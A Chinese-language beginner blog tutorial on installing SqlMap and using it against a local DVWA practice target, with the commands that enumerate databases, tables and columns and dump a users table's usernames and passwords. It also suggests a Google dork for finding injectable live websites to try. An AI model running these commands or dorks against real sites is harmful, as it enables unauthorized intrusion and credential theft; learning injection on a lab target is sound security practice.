SqlMap 初尝试

SqlMap 初尝试

什么是SqlMap

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。

支持自动识别密码哈希格式并通过字典破解密码哈希。

支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。

支持在数据库管理系统中搜索指定的数据库名、表名或列名

简单来说SqlMap就是一中SQL注入的工具,能实现对一些网站的SQL注入和获取数据库信息。

如何安装SqlMap

因为SqlMap是基于python,所以需要先安装本地的python环境

Python2.7.11下载:

下载地址:https://www.python.org/downloads/
  • 安装步骤可以查看其它的python的安装教程,蛮简单。
  • 安装完成后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python

SqlMap 初尝试

通过 http://www.sqlmap.org/ 下载SqlMap的zip包
  • 通过在桌面创建快捷方式,实现桌面的SqlMap快捷键。

SqlMap 初尝试

  • 输入 cmd

SqlMap 初尝试

  • 输入自定义名称

SqlMap 初尝试

  • 将sqlmap的文件夹拷贝到python下

修改起始位置如下,修改为python下的sqlmap的地址
SqlMap 初尝试

  • 直接启动,如下
    SqlMap 初尝试

SqlMap的实验

通过googel的inurl:"/.asp?id=" 搜索一些可被注入的网站进行尝试
我尝试的是通过DVWA的SQL 盲注入。

如果有兴趣,可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机

通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "实现对靶机的验证看能否注入攻击

ps:--batch 是指之后所有的选择参数都是默认的选项。

SqlMap 初尝试

根据图片显示攻击可以注入,并获取到了后端的配置信息,以及将其内容输出成为了一个文档

SqlMap 初尝试

测试成功,通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择,所以必需为最后一个参数指令 。
根据后台显示以下几个databases,因为网站为dvwa,所以选中dvwa数据库,查看tables分布

[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

SqlMap 初尝试

通过参数 -D 指定database 通过 --tables 显示所有的table ,如下图有两个表,因为要有攻击性,所以选择 users的表

+-----------+
| guestbook |
| users     |
+-----------+

SqlMap 初尝试

-T参数指定表为users,--columns查看该表的所有列,查看到users表的表结构有这8个字段组成

[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

SqlMap 初尝试

通过 --dump显示出所有的内容

SqlMap 初尝试

如果字段名过多,可以尝试通过 -C "user,password" 来实现指定字段的筛选

SqlMap 初尝试

但是所有的数据不可能会在命令行上看,这样很不不方便。没关系,sqlmap在你执行 --dump命令时,已经将数据文件下载到了本地,可以随时查看文件数据,文件保存为CSV类别。

SqlMap 初尝试

以上就是SqlMap的简单使用,至于为什么要学习这个攻击的技术,因为进攻是最好的防守啊,学会了如何攻击,才知道如何防御别人的攻击。

上一篇:实现基于zoom平台上的oss额外存储


下一篇:docker环境安装(Ubuntu、Centos)